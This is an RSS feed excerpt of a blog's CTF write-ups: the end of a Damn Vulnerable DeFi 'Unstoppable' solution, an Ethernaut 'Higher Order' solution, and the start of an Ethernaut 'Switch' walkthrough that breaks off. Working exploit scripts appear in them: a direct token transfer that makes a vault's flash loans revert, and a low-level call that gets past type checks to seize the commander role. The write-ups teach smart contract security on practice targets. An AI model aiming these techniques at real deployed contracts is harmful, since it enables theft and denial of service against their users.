        <span class="hljs-keyword">if</span> (initiator <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>) <span class="hljs-operator">|</span><span class="hljs-operator">|</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(pool) <span class="hljs-operator">|</span><span class="hljs-operator">|</span> token <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(pool.asset()) <span class="hljs-operator">|</span><span class="hljs-operator">|</span> fee <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>)
            <span class="hljs-keyword">revert</span> UnexpectedFlashLoan();

        ERC20(token).approve(<span class="hljs-keyword">address</span>(pool), amount);

        <span class="hljs-keyword">return</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"IERC3156FlashBorrower.onFlashLoan"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">executeFlashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        <span class="hljs-keyword">address</span> asset <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(pool.asset());
        pool.flashLoan(
            <span class="hljs-built_in">this</span>,
            asset,
            amount,
            <span class="hljs-keyword">bytes</span>(<span class="hljs-string">""</span>)
        );
    }
}
</code></pre>
<p>That's a lot of code already for the first level. It is also really helpful to check the test files to see how the contracts are deployed, although, we won't really need it here.</p>
<h2 id="heading-the-hack">The Hack</h2>
<p>Let's try to see how we could manipulate the vault. Some function are protected by the <code>onlyOwner</code> modifier, and the <code>ReceiverUnstoppable</code> contract is not interesting to us at this point. So what do we have left to play with?</p>
<p>We can see that the <code>flashloan()</code> and the <code>maxFlashloan()</code> function both rely on the <code>totalAssets()</code> function in their logic.</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params">
        IERC3156FlashBorrower receiver,
        <span class="hljs-keyword">address</span> _token,
        <span class="hljs-keyword">uint256</span> amount,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">if</span> (amount <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) <span class="hljs-keyword">revert</span> InvalidAmount(<span class="hljs-number">0</span>); <span class="hljs-comment">// fail early</span>
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(asset) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> _token) <span class="hljs-keyword">revert</span> UnsupportedCurrency(); <span class="hljs-comment">// enforce ERC3156 requirement</span>
        <span class="hljs-keyword">uint256</span> balanceBefore <span class="hljs-operator">=</span> totalAssets();
        <span class="hljs-keyword">if</span> (convertToShares(totalSupply) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> balanceBefore) <span class="hljs-keyword">revert</span> InvalidBalance(); <span class="hljs-comment">// enforce ERC4626 requirement</span>
        <span class="hljs-keyword">uint256</span> fee <span class="hljs-operator">=</span> flashFee(_token, amount);
        <span class="hljs-comment">// transfer tokens out + execute callback on receiver</span>
        ERC20(_token).safeTransfer(<span class="hljs-keyword">address</span>(receiver), amount);
        <span class="hljs-comment">// callback must return magic value, otherwise assume it failed</span>
        <span class="hljs-keyword">if</span> (receiver.onFlashLoan(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-keyword">address</span>(asset), amount, fee, data) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"IERC3156FlashBorrower.onFlashLoan"</span>))
            <span class="hljs-keyword">revert</span> CallbackFailed();
        <span class="hljs-comment">// pull amount + fee from receiver, then pay the fee to the recipient</span>
        ERC20(_token).safeTransferFrom(<span class="hljs-keyword">address</span>(receiver), <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), amount <span class="hljs-operator">+</span> fee);
        ERC20(_token).safeTransfer(feeRecipient, fee);
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">maxFlashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _token</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(asset) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> _token)
            <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;

        <span class="hljs-keyword">return</span> totalAssets();
    }
</code></pre>
<p>So... let's check the <code>totalAssets()</code> function!</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">totalAssets</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">assembly</span> { <span class="hljs-comment">// better safe than sorry</span>
            <span class="hljs-keyword">if</span> <span class="hljs-built_in">eq</span>(<span class="hljs-built_in">sload</span>(<span class="hljs-number">0</span>), <span class="hljs-number">2</span>) {
                <span class="hljs-built_in">mstore</span>(<span class="hljs-number">0x00</span>, <span class="hljs-number">0xed3ba6a6</span>)
                <span class="hljs-keyword">revert</span>(<span class="hljs-number">0x1c</span>, <span class="hljs-number">0x04</span>)
            }
        }
        <span class="hljs-keyword">return</span> asset.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
    }
</code></pre>
<p>Besides some weird assembly use here, what's really interesting is the use of <code>asset.balanceOf(address(this))</code>, which is a really bad practice. Why is that?</p>
<p>If we follow the inheritance trail, we see that the <code>UnstoppableVault</code> contract inherits from the ERC4626 Vault standard (which must be properly implemented!) which inherit from the ERC20 standard. And in this ERC20 standard, we can see this comment at the top of the file:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">/// @dev Do not manually set balances without updating totalSupply,</span>
<span class="hljs-comment">/// as the sum of all user balances must not exceed it.</span>
</code></pre>
<p>Now, with that in mind, let's go back to our <code>flashloan()</code> function, and specifically those two lines:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">uint256</span> balanceBefore <span class="hljs-operator">=</span> totalAssets();
<span class="hljs-keyword">if</span> (convertToShares(totalSupply) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> balanceBefore) <span class="hljs-keyword">revert</span> InvalidBalance(); <span class="hljs-comment">// enforce ERC4626 requirement</span>
</code></pre>
<ul>
<li><p><code>balanceBefore</code> is equal to <code>asset.balanceOf(address(this))</code>, while</p>
</li>
<li><p><code>totalSupply</code> is calculated based on user's deposits and withdraws.</p>
</li>
</ul>
<p>So, what if we send, for fun, 1 token directly to the vault, without using the <code>ERC4626::deposit()</code> function? This check will never pass again since the vault's balance and the <code>ERC20::totalSupply</code> variable won't match anymore.</p>
<h2 id="heading-solution">Solution</h2>
<p>Despite a pretty big code base, the solution is straightforward:</p>
<pre><code class="lang-javascript"> it(<span class="hljs-string">"Execution"</span>, <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">/** CODE YOUR SOLUTION HERE */</span>
    <span class="hljs-keyword">await</span> token.connect(player).transfer(vault.address, <span class="hljs-number">1n</span> * <span class="hljs-number">10n</span> ** <span class="hljs-number">18n</span>);
  });
</code></pre>
<p>Then we can run the following command to run the test:</p>
<pre><code class="lang-bash">yarn unstoppable
</code></pre>
<p>And we get the following printed in the terminal:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714017411336/dbe3c6c3-44cb-41c7-ba23-2c39560b4430.png" alt class="image--center mx-auto" /></p>
<p><strong>🎉 Level completed 🎉</strong></p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li>Never rely on the contract's balance (both ETH and tokens) for strict equality and sensitive calculations.</li>
</ul>
<hr />
<p>You can find all the codes, challenges, and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions">https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions</a></p>
]]></content:encoded></item><item><title><![CDATA[The Ethernaut CTF Solutions | 30 - Higher Order]]></title><description><![CDATA[Goals

The Contract
pragma solidity 0.6.12;

contract HigherOrder {
    address public commander;

    uint256 public treasury;

    function registerTreasury(uint8) public {
        assembly {
            sstore(treasury_slot, calldataload(4))
     ...]]></description><link>https://blog.pedrojok.com/the-ethernaut-ctf-solutions-30-higher-order</link><guid isPermaLink="true">https://blog.pedrojok.com/the-ethernaut-ctf-solutions-30-higher-order</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[Ethernaut]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Thu, 11 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1714033113396/e1b14756-7eda-4fd1-8013-defe57de1d51.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p><a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/30-higherOrder-requirements.webp"><img src="https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/30-higherOrder-requirements.webp" alt /></a></p>
<h2 id="heading-the-contract">The Contract</h2>
<pre><code class="lang-solidity"><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> 0.6.12;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">HigherOrder</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> commander;

    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> treasury;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">registerTreasury</span>(<span class="hljs-params"><span class="hljs-keyword">uint8</span></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">assembly</span> {
            <span class="hljs-built_in">sstore</span>(treasury_<span class="hljs-built_in">slot</span>, <span class="hljs-built_in">calldataload</span>(<span class="hljs-number">4</span>))
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">claimLeadership</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">if</span> (treasury <span class="hljs-operator">&gt;</span> <span class="hljs-number">255</span>) commander <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
        <span class="hljs-keyword">else</span> <span class="hljs-keyword">revert</span>(<span class="hljs-string">"Only members of the Higher Order can become Commander"</span>);
    }
}
</code></pre>
<p>Yes, that's it!</p>
<h2 id="heading-the-hack">The hack</h2>
<p>I really love those little challenges! It is so simple and the code so short that you know there will be some trick waiting for you along the road. In this case, however, if you have come so far in the Ethernaut challenges already, this shouldn't be a problem for you.</p>
<p>Let's take a closer look at the contract:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">registerTreasury</span>(<span class="hljs-params"><span class="hljs-keyword">uint8</span></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">assembly</span> {
        <span class="hljs-built_in">sstore</span>(treasury_<span class="hljs-built_in">slot</span>, <span class="hljs-built_in">calldataload</span>(<span class="hljs-number">4</span>))
    }
}
</code></pre>
<p>This little assembly code stores the variable that starts at the 4th byte of the calldata in the storage slot <code>treasury_slot</code>. Why the 4th byte? Because the first 4 bytes are the function selector for the <code>registerTreasury()</code> function, and the data, the <code>uint8</code> in our case, starts right after. The <code>calldataload</code> function reads the calldata at the specified position and returns it as a 32-byte word.</p>
<p>The <code>claimLeadership()</code> function is pretty straightforward, once we have set the <code>treasury</code> variable to a number greater than 255, we will be able to claim the leadership.</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">claimLeadership</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">if</span> (treasury <span class="hljs-operator">&gt;</span> <span class="hljs-number">255</span>) commander <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    <span class="hljs-keyword">else</span> <span class="hljs-keyword">revert</span>(<span class="hljs-string">"Only members of the Higher Order can become Commander"</span>);
}
</code></pre>
<p>So the goal is to set the <code>treasury</code> variable to a number greater than 255. However, you may have notice that the <code>registerTreasury()</code> only takes a <code>uint8</code> as an argument, which means that we can only set the <code>treasury</code> variable to a number between 0 and 255. Hum...</p>
<p>Let's try to play a bit with some simple scripts in forge and see what we can do.</p>
<pre><code class="lang-solidity">higherOrder.registerTreasury(<span class="hljs-number">255</span>);
console2.log(<span class="hljs-string">"Treasury: "</span>, higherOrder.treasury());
<span class="hljs-comment">// Treasury: 255</span>
</code></pre>
<p>As expected, this works fine. But that doesn't allow us to claim the leadership. Let's try different values:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// Just in case!</span>
higherOrder.registerTreasury(<span class="hljs-number">256</span>);
console2.log(<span class="hljs-string">"Treasury: "</span>, higherOrder.treasury());

<span class="hljs-comment">// solidity 0.6.12, might be some underflow involved?</span>
higherOrder.registerTreasury(<span class="hljs-number">-1</span>);
console2.log(<span class="hljs-string">"Treasury: "</span>, higherOrder.treasury());
</code></pre>
<p>Both of these return some errors because the function is expecting a <code>uint8</code>. Same if we try to adjust a bit the function definition in the interface:</p>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IHigherOrder</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">registerTreasury</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}
</code></pre>
<p>The <code>registerTreasury()</code> keeps type-checking the value we are passing. So what if we try without function definition with a low-level call instead?</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">address</span>(higherOrder).<span class="hljs-built_in">call</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"registerTreasury(uint8)"</span>, <span class="hljs-number">256</span>));
console2.log(<span class="hljs-string">"Treasury: "</span>, higherOrder.treasury());
<span class="hljs-comment">// Treasury: 256</span>
</code></pre>
<p>This works like a charm, effectively bypassing any type-check! We have set the <code>treasury</code> variable to 256 and we can claim the leadership.</p>
<h2 id="heading-solution">Solution</h2>
<p>Let's see the complete solution. This level only requires a script, no need to craft any contract.</p>
<h3 id="heading-in-foundry-using-forge">In Foundry using <code>forge</code>:</h3>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Script</span>, <span class="hljs-title">console2</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Script.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IHigherOrder</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">commander</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">treasury</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">registerTreasury</span>(<span class="hljs-params"><span class="hljs-keyword">uint8</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">claimLeadership</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PoC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{
    <span class="hljs-comment">// Replace with your HigherOrder instance</span>
    IHigherOrder <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> higherOrder <span class="hljs-operator">=</span>
        IHigherOrder(<span class="hljs-number">0x2917260322a451BED3074D521B2069fA9f8175ef</span>);
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> deployer <span class="hljs-operator">=</span> vm.envUint(<span class="hljs-string">"PRIVATE_KEY"</span>);
        vm.startBroadcast(deployer);

        <span class="hljs-keyword">address</span>(higherOrder).<span class="hljs-built_in">call</span>(
            <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"registerTreasury(uint8)"</span>, <span class="hljs-number">256</span>)
        );
        <span class="hljs-built_in">require</span>(higherOrder.treasury() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">256</span>, <span class="hljs-string">"Treasury should be 256"</span>);
        console2.log(<span class="hljs-string">"Treasury: "</span>, higherOrder.treasury());

        higherOrder.claimLeadership();
        console2.log(<span class="hljs-string">"Commander: "</span>, higherOrder.commander());

        vm.stopBroadcast();
    }
}
</code></pre>
<p>And the command to run the script:</p>
<pre><code class="lang-bash">forge script script/30_HigherOrder.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key <span class="hljs-variable">$ETHERSCAN_API_KEY</span>
</code></pre>
<h3 id="heading-in-the-browsers-console">In the browser's console:</h3>
<p>This is a (little) bit trickier in JavaScript as we have to prepare the transaction manually. The following would work just fine:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> data =
  web3.eth.abi.encodeFunctionSignature(<span class="hljs-string">"registerTreasury(uint8)"</span>) +
  web3.utils.leftPad(web3.utils.toHex(<span class="hljs-number">256</span>), <span class="hljs-number">64</span>).substring(<span class="hljs-number">2</span>);

<span class="hljs-keyword">await</span> sendTransaction({
  <span class="hljs-attr">from</span>: player,
  <span class="hljs-attr">to</span>: instance,
  <span class="hljs-attr">data</span>: data,
});
</code></pre>
<p>Then you can claim the leadership:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">await</span> contract.claimLeadership();
</code></pre>
<p><strong>🎉 Level completed 🎉</strong></p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li><p>Interfaces provide valuable type-checks when calling functions from other contracts.</p>
</li>
<li><p>Be careful when using low-level calls!</p>
</li>
</ul>
<h2 id="heading-reference">Reference</h2>
<ul>
<li>Low-level calls in-depth: <a target="_blank" href="https://ethereum-blockchain-developer.com/2022-04-smart-wallet/07-low-level-calls-in-depth/">https://ethereum-blockchain-developer.com/2022-04-smart-wallet/07-low-level-calls-in-depth/</a></li>
</ul>
<hr />
<p>You can find all the codes, challenges and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md">https://github.com/Pedrojok01/Ethernaut-Solutions/</a></p>
]]></content:encoded></item><item><title><![CDATA[The Ethernaut CTF Solutions | 29 - Switch]]></title><description><![CDATA[Goals

The Contract
This one is a really fun one to finish this series with a super simple goal: Turn the switch on. Unlike the previous Gate Keeper Three, the Switch challenge is far from easy, especially if you are not familiar with calldata and me...]]></description><link>https://blog.pedrojok.com/the-ethernaut-ctf-solutions-29-switch</link><guid isPermaLink="true">https://blog.pedrojok.com/the-ethernaut-ctf-solutions-29-switch</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[Ethernaut]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Wed, 10 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1713943473912/24055043-6830-4c93-ad9f-226d350069ea.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p><a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/29-switch-requirements.webp"><img src="https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/29-switch-requirements.webp" alt /></a></p>
<h2 id="heading-the-contract">The Contract</h2>
<p>This one is a really fun one to finish this series with a super simple goal: Turn the switch on. Unlike the previous G<a target="_blank" href="https://blog.pedrojok.com/the-ethernaut-ctf-solutions-28-gate-keeper-three">ate Keeper Three</a>, the Switch challenge is far from easy, especially if you are not familiar with calldata and memory pointers.</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Switch</span> </span>{
    <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> switchOn; <span class="hljs-comment">// switch is off</span>
    <span class="hljs-keyword">bytes4</span> <span class="hljs-keyword">public</span> offSelector <span class="hljs-operator">=</span> <span class="hljs-keyword">bytes4</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"turnSwitchOff()"</span>));

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyThis</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), <span class="hljs-string">"Only the contract can call this"</span>);
        <span class="hljs-keyword">_</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyOff</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-comment">// we use a complex data type to put in memory</span>
        <span class="hljs-keyword">bytes32</span>[<span class="hljs-number">1</span>] <span class="hljs-keyword">memory</span> selector;
        <span class="hljs-comment">// check that the calldata at position 68 (location of _data)</span>
        <span class="hljs-keyword">assembly</span> {
            <span class="hljs-built_in">calldatacopy</span>(selector, <span class="hljs-number">68</span>, <span class="hljs-number">4</span>) <span class="hljs-comment">// grab function selector from calldata</span>
        }
        <span class="hljs-built_in">require</span>(
            selector[<span class="hljs-number">0</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span> offSelector,
            <span class="hljs-string">"Can only call the turnOffSwitch function"</span>
        );
        <span class="hljs-keyword">_</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flipSwitch</span>(<span class="hljs-params"><span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> _data</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOff</span> </span>{
        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">call</span>(_data);
        <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"call failed :("</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">turnSwitchOn</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyThis</span> </span>{
        switchOn <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">turnSwitchOff</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyThis</span> </span>{
        switchOn <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
    }
}
</code></pre>
<h2 id="heading-the-hack">The hack</h2>
<p>Just have to flip the switch... And we even have a turnSwitchOn() function to do just that. However, this function is protected by the <code>onlyThis</code> modifier:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyThis</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), <span class="hljs-string">"Only the contract can call this"</span>);
    <span class="hljs-keyword">_</span>;
}
</code></pre>
<p>So only the <code>Switch</code> contract can call it. So let's take a look at the <code>flipSwitch()</code> function, after all, with such a name, it might just work!</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flipSwitch</span>(<span class="hljs-params">bytes memory _data</span>) <span class="hljs-title">public</span> <span class="hljs-title">onlyOff</span> </span>{
    (bool success, ) = address(<span class="hljs-built_in">this</span>).call(_data);
    <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"call failed :("</span>);
}
</code></pre>
<p>This function does an external call on itself, it seems too good to be true. We could simply pass the <code>turnSwitchOn()</code> function selector...</p>
<p>But let's take a look at the <code>onlyOff</code> modifier, in case:</p>
<pre><code class="lang-javascript">modifier onlyOff() {
    <span class="hljs-comment">// we use a complex data type to put in memory</span>
    bytes32[<span class="hljs-number">1</span>] memory selector;
    <span class="hljs-comment">// check that the calldata at position 68 (location of _data)</span>
    assembly {
        calldatacopy(selector, <span class="hljs-number">68</span>, <span class="hljs-number">4</span>) <span class="hljs-comment">// grab function selector from calldata</span>
    }
    <span class="hljs-built_in">require</span>(
        selector[<span class="hljs-number">0</span>] == offSelector,
        <span class="hljs-string">"Can only call the turnOffSwitch function"</span>
    );
    _;
}
</code></pre>
<p>Obviously enough, the goal of this modifier is to make sure we CAN ONLY pass the <code>turnSwitchOff()</code> function selector to the <code>flipSwitch()</code> function! So we will need to craft some custom calldata to pass the <code>turnSwitchOn()</code> function selector while making sure the <code>turnSwitchOff()</code> selector is positioned at the 68th byte of the calldata.</p>
<p>Well... How to do that?</p>
<h3 id="heading-calldata-encoding">Calldata encoding</h3>
<p>We know that each solidity types are stored in its hex form, padded with zeros to fill a 32-byte slot. For instance:</p>
<blockquote>
<p>uint256 <code>20</code> is <code>0x14</code> in hex, and would be stored like this: <code>0x0000000000000000000000000000000000000000000000000000000000000014</code></p>
</blockquote>
<p>For dynamic types, it is a bit different and solidity stores them as follows:</p>
<ul>
<li><p>first 32-byte is the offset of the data;</p>
</li>
<li><p>second 32-byte is the length of the data;</p>
</li>
<li><p>next are the data themselves.</p>
</li>
</ul>
<p>Let's take the following array of prime numbers for instance: <code>uint256[] memory data = [2, 3, 5, 7, 11]</code>. It would be stored as follows:</p>
<pre><code class="lang-solidity">offset:
0000000000000000000000000000000000000000000000000000000000000020

length (<span class="hljs-number">5</span> elements in the array):
0000000000000000000000000000000000000000000000000000000000000005

first element value(<span class="hljs-number">2</span>):
0000000000000000000000000000000000000000000000000000000000000002

second element value(<span class="hljs-number">3</span>):
0000000000000000000000000000000000000000000000000000000000000003

third element value(<span class="hljs-number">5</span>):
0000000000000000000000000000000000000000000000000000000000000005

fourth element value(<span class="hljs-number">7</span>):
0000000000000000000000000000000000000000000000000000000000000007

fifth element value(<span class="hljs-number">11</span>):
000000000000000000000000000000000000000000000000000000000000000B
</code></pre>
<p>And the output would be:</p>
<blockquote>
<p>0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000007000000000000000000000000000000000000000000000000000000000000000B</p>
</blockquote>
<p>So, with that in mind, let's try to craft the calldata for the <code>flipSwitch()</code> function.</p>
<h3 id="heading-custom-calldata">Custom calldata</h3>
<p>We will need the <code>turnSwitchOn()</code> and <code>turnSwitchOff()</code> function selectors:</p>
<pre><code class="lang-bash">cast sig <span class="hljs-string">"turnSwitchOn()"</span>
=&gt; 0x30c13ade

cast sig <span class="hljs-string">"turnSwitchOff()"</span>
=&gt; 0x20606e15
</code></pre>
<p>Now, why is the <code>onlyOff</code> modifier targeting the position 68?</p>
